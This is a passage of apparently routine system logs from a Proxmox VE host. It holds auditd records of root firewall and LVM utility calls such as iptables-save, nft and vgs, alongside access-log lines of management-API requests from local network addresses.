auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965524396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965524.396:65967): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417e90 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964838665,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781965774963,"@rawstring":"node=pve type=EXECVE msg=audit(1781965774.963:67034): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964155863,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.863:59814): argc=1 a0=\"date\""} {"@timestamp":1781965455071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.071:65675): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965524358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965524.358:65966): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74090f0 a1=64f8d73b27f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964836676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965774248,"@rawstring":"node=pve type=EXECVE msg=audit(1781965774.248:67033): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964155859,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.859:59812): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965455062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.062:65674): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523327,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965523.327:65965): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964835673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965774240,"@rawstring":"node=pve type=EXECVE msg=audit(1781965774.240:67030): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964155852,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.852:59811): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965455056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.056:65673): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965523.320:65962): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964835673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965769227,"@rawstring":"node=pve type=EXECVE msg=audit(1781965769.227:67027): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964155845,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.845:59810): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965455047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.047:65672): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146640 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965518.312:65959): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964835673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965769219,"@rawstring":"node=pve type=EXECVE msg=audit(1781965769.219:67024): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964155840,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.840:59809): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965455039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.039:65671): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965518.302:65956): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964834668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781965765390,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.390:67021): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964155833,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.833:59808): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965454590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965454.590:65670): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1ee0 a1=64f8d73e0690 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.223:65953): arch=c000003e syscall=59 success=yes exit=0 a0=5ee28df45e90 a1=5ee28df42c10 a2=5ee28df24680 a3=5 items=2 ppid=63343 pid=63349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964832637,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781965765388,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.388:67020): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964155827,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.827:59807): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965454567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965454.567:65669): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1764050 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.219:65952): arch=c000003e syscall=59 success=yes exit=0 a0=5ee254ee3ac8 a1=7fff208fa7b0 a2=5ee28df24680 a3=5ee254ec724e items=2 ppid=63343 pid=63345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964832637,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781965765387,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.387:67019): argc=1 a0=\"date\""} {"@timestamp":1781964154549,"@rawstring":"node=pve type=EXECVE msg=audit(1781964154.549:59806): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965453054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965453.054:65668): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.217:65951): arch=c000003e syscall=59 success=yes exit=0 a0=7fff208fa770 a1=5ee28df2b310 a2=5ee28df24680 a3=5 items=2 ppid=63343 pid=63344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964831636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965765382,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.382:67017): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964154520,"@rawstring":"node=pve type=EXECVE msg=audit(1781964154.520:59805): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965453045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965453.045:65665): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.206:65949): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964831636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965765374,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.374:67016): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964153114,"@rawstring":"node=pve type=EXECVE msg=audit(1781964153.114:59804): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965448034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965448.034:65662): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.191:65948): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966385788,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965765368,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.368:67015): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964153105,"@rawstring":"node=pve type=EXECVE msg=audit(1781964153.105:59801): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965448027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965448.027:65659): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.183:65947): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966385788,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965765361,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.361:67014): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964148100,"@rawstring":"node=pve type=EXECVE msg=audit(1781964148.100:59798): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965446029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965446.029:65656): arch=c000003e syscall=59 success=yes exit=0 a0=5bacade3bae0 a1=5bacade47dc0 a2=5bacade15680 a3=5 items=2 ppid=63062 pid=63068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515173,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.173:65946): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966383750,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965765353,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.353:67013): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964148088,"@rawstring":"node=pve type=EXECVE msg=audit(1781964148.088:59795): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965446023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965446.023:65655): arch=c000003e syscall=59 success=yes exit=0 a0=5bac9f678ac8 a1=7ffee1fb0b50 a2=5bacade15680 a3=5bac9f65c24e items=2 ppid=63062 pid=63064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.165:65945): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966383750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965765347,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.347:67011): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964145817,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.817:59792): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965446021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965446.021:65654): arch=c000003e syscall=59 success=yes exit=0 a0=7ffee1fb0b10 a1=5bacade37180 a2=5bacade15680 a3=5 items=2 ppid=63062 pid=63063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515161,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.161:65944): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b75619a5740 items=0 ppid=1156 pid=63338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966383750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965765342,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.342:67010): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964145814,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.814:59791): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965446014,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965446.014:65652): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.159:65943): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1477d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966383750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965765334,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.334:67009): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964145813,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.813:59790): argc=1 a0=\"date\""} {"@timestamp":1781965446007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965446.007:65651): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.152:65942): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecb80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966382735,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965765330,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.330:67008): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964145809,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.809:59788): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965445998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.998:65650): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.146:65941): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966382735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965765322,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.322:67007): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964145802,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.802:59787): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965445989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.989:65649): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515138,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.138:65940): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1027d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966380846,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965765317,"@rawstring":"node=pve type=EXECVE msg=audit(1781965765.317:67006): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964145796,"@rawstring":"node=pve type=EXECVE msg=audit(1781964145.796:59786): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965445980,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.980:65648): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965515.133:65939): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 